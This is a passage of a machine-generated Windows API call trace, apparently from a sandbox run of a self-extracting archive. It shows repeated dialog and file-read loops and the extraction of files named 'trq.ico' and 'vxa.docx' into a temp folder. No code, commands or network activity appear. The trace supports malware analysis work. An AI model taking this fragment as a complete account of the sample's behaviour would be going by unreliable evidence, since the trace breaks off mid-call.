[0068.088] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.088] GetTickCount () returned 0x1fa45 [0068.088] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.088] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.088] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.088] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.088] GetTickCount () returned 0x1fa45 [0068.088] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.088] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.088] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.088] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.088] GetTickCount () returned 0x1fa45 [0068.088] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.088] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.088] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.089] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.089] GetTickCount () returned 0x1fa45 [0068.089] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.089] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.089] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.089] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.089] GetTickCount () returned 0x1fa45 [0068.089] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.089] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.089] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.089] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.089] GetTickCount () returned 0x1fa45 [0068.089] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.089] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.089] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.089] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.089] GetTickCount () returned 0x1fa45 [0068.089] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.089] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.089] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.089] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.089] GetTickCount () returned 0x1fa45 [0068.089] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.089] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.089] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.089] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.089] GetTickCount () returned 0x1fa45 [0068.089] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.089] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.089] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.089] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.089] GetTickCount () returned 0x1fa45 [0068.089] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.089] ReadFile (in: hFile=0x1c, lpBuffer=0x27043e, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27043e*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.089] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.089] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.089] GetTickCount () returned 0x1fa45 [0068.089] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.089] WriteFile (in: hFile=0x138, lpBuffer=0x2e40020*, nNumberOfBytesToWrite=0x21a, lpNumberOfBytesWritten=0x171564, lpOverlapped=0x0 | out: lpBuffer=0x2e40020*, lpNumberOfBytesWritten=0x171564*=0x21a, lpOverlapped=0x0) returned 1 [0068.090] GetTickCount () returned 0x1fa45 [0068.090] PeekMessageW (in: lpMsg=0x171554, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171554) returned 0 [0068.090] SetFilePointer (in: hFile=0x1c, lDistanceToMove=863282, lpDistanceToMoveHigh=0x1715e8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715e8*=0) returned 0xd2c32 [0068.090] SystemTimeToFileTime (in: lpSystemTime=0x1715b8, lpFileTime=0x1715c8 | out: lpFileTime=0x1715c8) returned 1 [0068.090] LocalFileTimeToFileTime (in: lpLocalFileTime=0x1715c8, lpFileTime=0x1715f8 | out: lpFileTime=0x1715f8) returned 1 [0068.090] SetFileTime (hFile=0x138, lpCreationTime=0x0, lpLastAccessTime=0x0, lpLastWriteTime=0x1715f8) returned 1 [0068.090] CloseHandle (hObject=0x138) returned 1 [0068.091] SetFileAttributesA (lpFileName="trq.ico", dwFileAttributes=0x20) returned 1 [0068.091] SetFilePointer (in: hFile=0x1c, lDistanceToMove=0, lpDistanceToMoveHigh=0x17410c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x17410c*=0) returned 0xd2c32 [0068.091] ReadFile (in: hFile=0x1c, lpBuffer=0x2590a8, nNumberOfBytesToRead=0x7, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x2590a8*, lpNumberOfBytesRead=0x1740c4*=0x7, lpOverlapped=0x0) returned 1 [0068.091] ReadFile (in: hFile=0x1c, lpBuffer=0x25a8cf, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x1740c4, lpOverlapped=0x0 | out: lpBuffer=0x25a8cf*, lpNumberOfBytesRead=0x1740c4*=0x26, lpOverlapped=0x0) returned 1 [0068.092] OemToCharA (in: pSrc="vxa.docx", pDst=0x179cc0 | out: pDst="vxa.docx") returned 1 [0068.092] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=1, lpString2="vxa.docx", cchCount2=1) returned 1 [0068.092] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="__rar_", cchCount1=6, lpString2="vxa.docx", cchCount2=6) returned 1 [0068.092] CompareStringA (Locale=0x400, dwCmpFlags=0x1001, lpString1="*", cchCount1=-1, lpString2="vxa.docx", cchCount2=-1) returned 1 [0068.092] SetFilePointer (in: hFile=0x1c, lDistanceToMove=863327, lpDistanceToMoveHigh=0x1715ec*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715ec*=0) returned 0xd2c5f [0068.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x174aec, cbMultiByte=-1, lpWideCharStr=0x170dfc, cchWideChar=1024 | out: lpWideCharStr="vxa.docx") returned 9 [0068.092] LoadStringW (in: hInstance=0x400000, uID=0x65, lpBuffer=0x41a2b8, cchBufferMax=512 | out: lpBuffer="Extracting %s") returned 0xd [0068.092] wvsprintfW (in: param_1=0x1701fc, param_2="Extracting %s", arglist=0x1701f8 | out: param_1="Extracting vxa.docx") returned 19 [0068.092] SetDlgItemTextW (hDlg=0x20216, nIDDlgItem=101, lpString="Extracting vxa.docx") returned 1 [0068.092] PeekMessageW (in: lpMsg=0x1701d8, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x1701d8) returned 0 [0068.092] OemToCharBuffA (in: lpszSrc="v", lpszDst=0x17160c, cchDstLength=0x1 | out: lpszDst="v") returned 1 [0068.092] CharToOemBuffA (in: lpszSrc="V", lpszDst=0x171600, cchDstLength=0x1 | out: lpszDst="V") returned 1 [0068.092] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x181870, cbMultiByte=-1, lpWideCharStr=0x170b94, cchWideChar=16777216 | out: lpWideCharStr="vxa.docx") returned 9 [0068.092] FindFirstFileW (in: lpFileName="vxa.docx", lpFindFileData=0x171394 | out: lpFindFileData=0x171394) returned 0xffffffff [0068.092] GetLastError () returned 0x2 [0068.092] GetFileAttributesA (lpFileName="vxa.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\vxa.docx")) returned 0xffffffff [0068.092] CreateFileA (lpFileName="vxa.docx" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\temp\\62890218\\vxa.docx"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x138 [0068.093] GetFileType (hFile=0x138) returned 0x1 [0068.093] SetFilePointer (in: hFile=0x138, lDistanceToMove=605, lpDistanceToMoveHigh=0x1715f0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715f0*=0) returned 0x25d [0068.093] SetEndOfFile (hFile=0x138) returned 1 [0068.093] SetFilePointer (in: hFile=0x138, lDistanceToMove=0, lpDistanceToMoveHigh=0x1715dc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1715dc*=0) returned 0x0 [0068.093] ReadFile (in: hFile=0x1c, lpBuffer=0x270288, nNumberOfBytesToRead=0x1e3, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x270288*, lpNumberOfBytesRead=0x171578*=0x1e3, lpOverlapped=0x0) returned 1 [0068.093] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.093] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.093] GetTickCount () returned 0x1fa45 [0068.093] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.093] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.093] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.093] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.093] GetTickCount () returned 0x1fa45 [0068.093] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.093] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.093] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.093] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.093] GetTickCount () returned 0x1fa45 [0068.093] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.093] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.093] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.093] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.093] GetTickCount () returned 0x1fa45 [0068.093] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.093] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.093] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.093] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.094] GetTickCount () returned 0x1fa45 [0068.094] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.094] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.094] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.094] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.094] GetTickCount () returned 0x1fa45 [0068.094] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.094] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.094] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.094] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.094] GetTickCount () returned 0x1fa45 [0068.094] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.094] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.094] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.094] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.094] GetTickCount () returned 0x1fa45 [0068.094] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.094] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.094] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.094] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.094] GetTickCount () returned 0x1fa45 [0068.094] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.094] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.094] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.094] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.094] GetTickCount () returned 0x1fa45 [0068.094] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.094] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.094] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.094] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.094] GetTickCount () returned 0x1fa45 [0068.094] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.094] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.094] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.094] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.094] GetTickCount () returned 0x1fa45 [0068.094] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.094] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.094] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.094] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.094] GetTickCount () returned 0x1fa45 [0068.094] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.094] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.094] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.094] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.094] GetTickCount () returned 0x1fa45 [0068.094] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.094] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.095] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.095] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.095] GetTickCount () returned 0x1fa45 [0068.095] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.095] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.095] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.095] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.095] GetTickCount () returned 0x1fa45 [0068.095] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.095] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.095] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.095] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.095] GetTickCount () returned 0x1fa45 [0068.095] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.095] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: lpBuffer=0x27046b*, lpNumberOfBytesRead=0x171578*=0x0, lpOverlapped=0x0) returned 1 [0068.095] SendDlgItemMessageW (hDlg=0x20216, nIDDlgItem=106, Msg=0x402, wParam=0x62, lParam=0x0) returned 0x62 [0068.095] PeekMessageW (in: lpMsg=0x17154c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x17154c) returned 0 [0068.095] GetTickCount () returned 0x1fa45 [0068.095] PeekMessageW (in: lpMsg=0x171590, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x171590) returned 0 [0068.095] ReadFile (in: hFile=0x1c, lpBuffer=0x27046b, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x171578, lpOverlapped=0x0 | out: 